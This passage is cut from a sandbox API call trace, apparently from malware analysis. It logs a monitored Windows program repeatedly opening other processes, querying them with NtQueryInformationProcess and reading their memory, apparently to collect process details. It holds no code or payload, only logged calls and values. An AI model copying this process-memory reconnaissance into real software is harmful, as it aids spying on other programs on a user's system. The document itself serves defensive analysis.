_Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.114] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf30) returned 0x464 [0285.114] GetLastError () returned 0x0 [0285.115] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.115] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x24c018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.115] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.115] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.115] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.116] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.117] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.117] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x24c020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.118] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.118] malloc (_Size=0x60) returned 0x196ef0d0610 [0285.118] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1950, lpBuffer=0x196ef0d0610, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0285.119] free (_Block=0x196ef0d0610) [0285.119] CloseHandle (hObject=0x464) returned 1 [0285.120] _ui64tow_s (in: _Value=0xf38, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3896") returned 0x0 [0285.124] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3896") returned 4 [0285.125] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.125] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.178] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf38) returned 0x464 [0285.178] GetLastError () returned 0x0 [0285.179] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.179] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.179] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.179] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1d20, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.180] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b18f8, lpBuffer=0x670f7c2b0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.181] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.182] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.182] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.182] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.182] malloc (_Size=0x82) returned 0x196ef0faa80 [0285.182] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1972, lpBuffer=0x196ef0faa80, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0faa80*, lpNumberOfBytesRead=0x0) returned 1 [0285.183] free (_Block=0x196ef0faa80) [0285.184] CloseHandle (hObject=0x464) returned 1 [0285.185] _ui64tow_s (in: _Value=0xf48, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3912") returned 0x0 [0285.189] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3912") returned 4 [0285.190] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.190] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.205] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf48) returned 0x464 [0285.205] GetLastError () returned 0x0 [0285.206] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.206] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2fd018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.206] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.206] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x541c80, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.206] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5418f8, lpBuffer=0x670f7c2b0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.207] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.210] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.210] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2fd020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.210] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5412e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.211] malloc (_Size=0x4e) returned 0x196ef101040 [0285.211] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54193e, lpBuffer=0x196ef101040, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef101040*, lpNumberOfBytesRead=0x0) returned 1 [0285.212] free (_Block=0x196ef101040) [0285.213] CloseHandle (hObject=0x464) returned 1 [0285.213] _ui64tow_s (in: _Value=0xf50, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3920") returned 0x0 [0285.295] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3920") returned 4 [0285.296] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.296] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.312] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf50) returned 0x464 [0285.312] GetLastError () returned 0x0 [0285.313] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.313] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2ac018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.313] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.314] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.314] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618f8, lpBuffer=0x670f7c2b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.315] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.316] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.316] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2ac020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.317] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.317] malloc (_Size=0x7a) returned 0x196ef0faba0 [0285.317] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56196a, lpBuffer=0x196ef0faba0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0faba0*, lpNumberOfBytesRead=0x0) returned 1 [0285.317] free (_Block=0x196ef0faba0) [0285.318] CloseHandle (hObject=0x464) returned 1 [0285.319] _ui64tow_s (in: _Value=0xf5c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3932") returned 0x0 [0285.323] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3932") returned 4 [0285.324] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.324] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.387] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf5c) returned 0x464 [0285.387] GetLastError () returned 0x0 [0285.388] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.388] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.388] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.388] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x501c80, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.388] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5018f8, lpBuffer=0x670f7c2b0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.390] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.392] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.392] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.392] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5012e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.392] malloc (_Size=0x4e) returned 0x196ef101460 [0285.392] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x50193e, lpBuffer=0x196ef101460, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef101460*, lpNumberOfBytesRead=0x0) returned 1 [0285.393] free (_Block=0x196ef101460) [0285.393] CloseHandle (hObject=0x464) returned 1 [0285.394] _ui64tow_s (in: _Value=0xf64, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0285.399] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3940") returned 4 [0285.400] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.400] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.438] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0x464 [0285.438] GetLastError () returned 0x0 [0285.439] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.439] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x238018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.439] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.439] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.440] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b18f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.441] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.442] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.442] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x238020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.442] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.443] malloc (_Size=0x70) returned 0x196ef0d31b0 [0285.443] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.443] free (_Block=0x196ef0d31b0) [0285.444] CloseHandle (hObject=0x464) returned 1 [0285.444] _ui64tow_s (in: _Value=0xf74, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3956") returned 0x0 [0285.449] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3956") returned 4 [0285.450] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.450] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.480] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf74) returned 0x464 [0285.480] GetLastError () returned 0x0 [0285.481] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.481] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.481] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.481] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x621cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.482] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6218f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.483] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.485] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.485] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.485] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6212e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.485] malloc (_Size=0x60) returned 0x196ef0d0610 [0285.485] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x621950, lpBuffer=0x196ef0d0610, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0285.486] free (_Block=0x196ef0d0610) [0285.487] CloseHandle (hObject=0x464) returned 1 [0285.487] _ui64tow_s (in: _Value=0xf7c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3964") returned 0x0 [0285.492] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3964") returned 4 [0285.493] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.493] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.563] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf7c) returned 0x464 [0285.563] GetLastError () returned 0x0 [0285.564] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.564] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x382018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.564] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.564] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x521ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.564] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5218f8, lpBuffer=0x670f7c2b0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.566] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.567] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.567] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x382020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.567] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5212e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.568] malloc (_Size=0x6c) returned 0x196ef0d31b0 [0285.568] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x52195c, lpBuffer=0x196ef0d31b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.569] free (_Block=0x196ef0d31b0) [0285.570] CloseHandle (hObject=0x464) returned 1 [0285.570] _ui64tow_s (in: _Value=0xf8c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3980") returned 0x0 [0285.575] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3980") returned 4 [0285.577] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: 